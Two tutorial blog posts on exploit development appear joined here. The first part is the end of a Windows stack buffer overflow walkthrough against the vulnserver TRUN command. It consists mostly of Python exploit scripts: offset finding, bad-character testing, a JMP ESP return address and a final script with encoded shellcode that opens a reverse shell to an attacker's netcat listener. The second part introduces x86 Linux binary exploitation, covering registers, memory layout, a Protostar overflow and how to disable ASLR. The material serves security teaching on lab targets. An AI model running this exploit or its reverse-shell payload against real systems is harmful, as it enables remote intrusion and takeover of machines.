junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9'
s.send(('TRUN .' + junk + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

Great as you can see ESP register is overwritten with a random string, The next step is to find the offset of the EIP register in order to gain full control of it and to obtain code execution. To find offset copy and past the value in EIP registers to MSF pattern_offset.

As we can see from the above output EIP overwrite occurred in 2006 bytes into our data.
Now let’s modify our skeleton exploit to confirm this.

import time
import socket
ip = '192.168.196.147'
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((ip, port))
print "Connecting to Server..."
time.sleep(0.75)
print s.recv(1024)
junk = 'A' * 2006
EIP = 'B' * 4
s.send(('TRUN .' + junk + EIP +'\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

We have modified our skeleton exploits to send 2006 A and then 4 B’s, if everything is working as it should now when we run our exploit, we should see 42424242 in EIP which is 4 B’s (B * 4).

Great now it is confirmed that we have full control over the instruction pointer. The next step is executing a malicious shellcode in memory to get a reverse shell.

Analyzing Bad characters

Before we go any further, we should identify bad characters or specific characters that could break our payload and cause unintended behavior. ex: null-byte \x00
To identify the bad characters, let’s generate a byte array containing all possible characters. We will use !mona for this task,

Let’s modify our buffer once again and see what happens! so we will keep our 2006 “A”s and 4 “B”s, and then add all of our characters after that.

import time
import socket
ip = '192.168.196.147'
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((ip, port))
print "Connecting to Server..."
time.sleep(0.75)
print s.recv(1024)
junk = 'A' * 2006
EIP = 'B' * 4
badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
s.send(('TRUN .' + junk + EIP + badchars + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

Right-click and follow the dump

Heads up there are no bad-characters in vulnserver except  “\x00”, We can see every single character from “\x01” to “\xFF” in the memory dump.
I will write about how to find and deal with bad-characters in a separate post.

Jumping to the Shellcode

Why jump ESP?

JMP ESP gives a more reliable exploit than repeatedly trying to guess a return address every time. JMP ESP will make the program start executing the code that is pointed by ESP.
We need to find JMP ESP from a module without ASLR and DEP enabled and also it should not contain bad characters within the memory address.
DEP and ASLR are used to protect against buffer-overflow attacks. Bypassing these protections is out of scope for this post.

To list all modules information type the following command in immunity debugger command windows.

!mona modules

To list all executable loaded with the program, click Alt+E in the immunity debugger.

From loaded modules, we can see most of the modules Adress-Space Layout Randomization (ASLR) is enabled, except essfunc.dll which comes with our vulnerable program and it does not contain any bad characters.
We can see 9 JMP ESP pointers essecfun.dll which we can use, it doesn’t really matter which one we use since none of them have bad characters. I will select the first one 0x625011af (\xaf\x11\x50\x62) we need to write this address in reverse order due to endianness.
We can verify if this is indeed a JMP ESP by simply going to that memory address from the immunity debugger.

Intel JMP ESP has machine or opcode of ffe4. Using NASM we can determine the HEX code for JMP ESP instruction.

Generate shellcode with the following command, keeping in mind that we need to exclude the identified bad characters if there is any.

Let’s add the generated shellcode to the script and update. This shellcode will spawn a reverse_shell back to the attacker machine.

Start netcat listener on port 443 and fire-up the exploit, we should get a reverse shell back from our victim machine.

import time
import socket
ip = '192.168.196.147'
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((ip, port))
print "Connecting to Server..."
time.sleep(0.75)
print s.recv(1024)
junk = 'A' * 2006 
EIP = "\xaf\x11\x50\x62" #JMP ESP
nops = "\x90" * 20 #nops sled
buf =  b""
buf += b"\xb8\xa6\xf0\x5d\x3d\xd9\xc8\xd9\x74\x24\xf4\x5d\x33"
buf += b"\xc9\xb1\x52\x31\x45\x12\x03\x45\x12\x83\x63\xf4\xbf"
buf += b"\xc8\x97\x1d\xbd\x33\x67\xde\xa2\xba\x82\xef\xe2\xd9"
buf += b"\xc7\x40\xd3\xaa\x85\x6c\x98\xff\x3d\xe6\xec\xd7\x32"
buf += b"\x4f\x5a\x0e\x7d\x50\xf7\x72\x1c\xd2\x0a\xa7\xfe\xeb"
buf += b"\xc4\xba\xff\x2c\x38\x36\xad\xe5\x36\xe5\x41\x81\x03"
buf += b"\x36\xea\xd9\x82\x3e\x0f\xa9\xa5\x6f\x9e\xa1\xff\xaf"
buf += b"\x21\x65\x74\xe6\x39\x6a\xb1\xb0\xb2\x58\x4d\x43\x12"
buf += b"\x91\xae\xe8\x5b\x1d\x5d\xf0\x9c\x9a\xbe\x87\xd4\xd8"
buf += b"\x43\x90\x23\xa2\x9f\x15\xb7\x04\x6b\x8d\x13\xb4\xb8"
buf += b"\x48\xd0\xba\x75\x1e\xbe\xde\x88\xf3\xb5\xdb\x01\xf2"
buf += b"\x19\x6a\x51\xd1\xbd\x36\x01\x78\xe4\x92\xe4\x85\xf6"
buf += b"\x7c\x58\x20\x7d\x90\x8d\x59\xdc\xfd\x62\x50\xde\xfd"
buf += b"\xec\xe3\xad\xcf\xb3\x5f\x39\x7c\x3b\x46\xbe\x83\x16"
buf += b"\x3e\x50\x7a\x99\x3f\x79\xb9\xcd\x6f\x11\x68\x6e\xe4"
buf += b"\xe1\x95\xbb\xab\xb1\x39\x14\x0c\x61\xfa\xc4\xe4\x6b"
buf += b"\xf5\x3b\x14\x94\xdf\x53\xbf\x6f\x88\x9b\xe8\xab\xce"
buf += b"\x74\xeb\x33\xce\x3f\x62\xd5\xba\x2f\x23\x4e\x53\xc9"
buf += b"\x6e\x04\xc2\x16\xa5\x61\xc4\x9d\x4a\x96\x8b\x55\x26"
buf += b"\x84\x7c\x96\x7d\xf6\x2b\xa9\xab\x9e\xb0\x38\x30\x5e"
buf += b"\xbe\x20\xef\x09\x97\x97\xe6\xdf\x05\x81\x50\xfd\xd7"
buf += b"\x57\x9a\x45\x0c\xa4\x25\x44\xc1\x90\x01\x56\x1f\x18"
buf += b"\x0e\x02\xcf\x4f\xd8\xfc\xa9\x39\xaa\x56\x60\x95\x64"
buf += b"\x3e\xf5\xd5\xb6\x38\xfa\x33\x41\xa4\x4b\xea\x14\xdb"
buf += b"\x64\x7a\x91\xa4\x98\x1a\x5e\x7f\x19\x2a\x15\xdd\x08"
buf += b"\xa3\xf0\xb4\x08\xae\x02\x63\x4e\xd7\x80\x81\x2f\x2c"
buf += b"\x98\xe0\x2a\x68\x1e\x19\x47\xe1\xcb\x1d\xf4\x02\xde"
s.send(('TRUN .' + junk + EIP + nops + buf + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

Conclusion
That’s it for Part 1 of this series. I hope you enjoyed this initial intro to exploit development. Until next time, happy hacking.

All code for this post available from my github repo https://github.com/d3b4g/WindowsExploit-dev


x86 Linux Binary Exploitation (Introduction)

Introduction
Welcome to part one of the x86 Linux binary exploitation series. In these series of posts, I will cover x86 Linux binary exploitation, from basics to advanced topics.

All of the exercises in these articles can be done in a virtual environment. Tools that I will be using are:

Understanding the Basics
Before jumping into all the good stuff we need to go through some basics like what is registers, stack and assembly this will help us to understand the exploit development process better.

First, a basic understanding of assembly will be helpful to be able to make sense of all of this. In-depth coverage of assembly code is way out of scope for this article, I will leave some reference materials here, so you can go through it.

x86 Assembly Crash course is an excellent intro to assembly.


Memory Layout

  • The text section stores the program executable.
  • The data section stores initialized data.
  • The bss section stores uninitialized data.
  • The heap section is a memory that you can dynamically reserve from calling malloc.
  • The stack section is a memory that functions and local variables are stored.

Assembly instruction set introduced in 1978 by Intel

  • 1978 – 16bit
  • 1985 – 32bit
  • 2001 – 64bit (Itanium)
  • 2003 – 64bit (AMD64)

Important Registers
A register is a location within the processor that is able to store data. For exploit development the following special-purpose registers are important.

  • ESP: Stack pointer, “top” of the current stack frame
  • EBP: Base pointer, “bottom” of the current stack frame
  • EIP: Instruction pointer, a pointer to the next instruction to be executed by the CPU

What is a Buffer Overflow?
A stack overflow occurs when a program stores more data in a variable on the execution stack than is allocated to the variable. The excess data corrupts nearby space in memory and may alter other data. As a result, the program might report an error or behave differently. Using unsafe functions that can lead to a buffer overflow vulnerability:  printfsprintfstrcatstrcpy, and gets.

Bug Classes

There are many different possible attack vectors in today’s native binaries. I will cover some of these in this series.

  • Stack Buffer Overflows
  • Heap Buffer Overflows
  • Format String Attacks
  • Use After Free (UAF)

Now that we have some idea about binary exploitation, let’s do a simple practical example. This code is from protorstar0, the goal of this challenge is to modify the value of the “modified” variable, which is now equal to 0.

From the code we can see a 64-byte buffer is in the program, we can modify it because of unsafe gets function used. The get() function allows overriding the declared buffer size.
The gets() doesn’t do any array bound checking, that’s why it is considered as an unsafe function. To avoid Buffer Overflow, fgets() should be used instead of gets().

Now let’s compile the above code and open the binary in DGB. Before compiling the code, let’s disable some of the exploit mitigation mechanisms in place.
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space > Disable ASLR

Compile the binary
compile the code using the following flags
gcc -fno-stack-protector -o <vuln> vuln.c
-fno-stack-protector : Emit extra code to check for buffer overflows

After compiling the binary, let’s check the properties of executables, if there is any exploit mitigations (like PIE, RELRO, PaX, Canaries, ASLR ).

Open the binary in GDB

Let’s send some data to the program

We got a reply “Try Again” We know the defined buffer size is 64 bytes. Let’s send more than 64 bytes of data and monitor the program in GDB

As we can see from GDB output program get a segmentation fault when receiving more than 64 bytes of data. The variable “modified” get overwrite and other important registers are overwritten.


This is a very simple example of how we can take advantage of vulnerable functions used in programs to exploit them. That’s it for this intro article,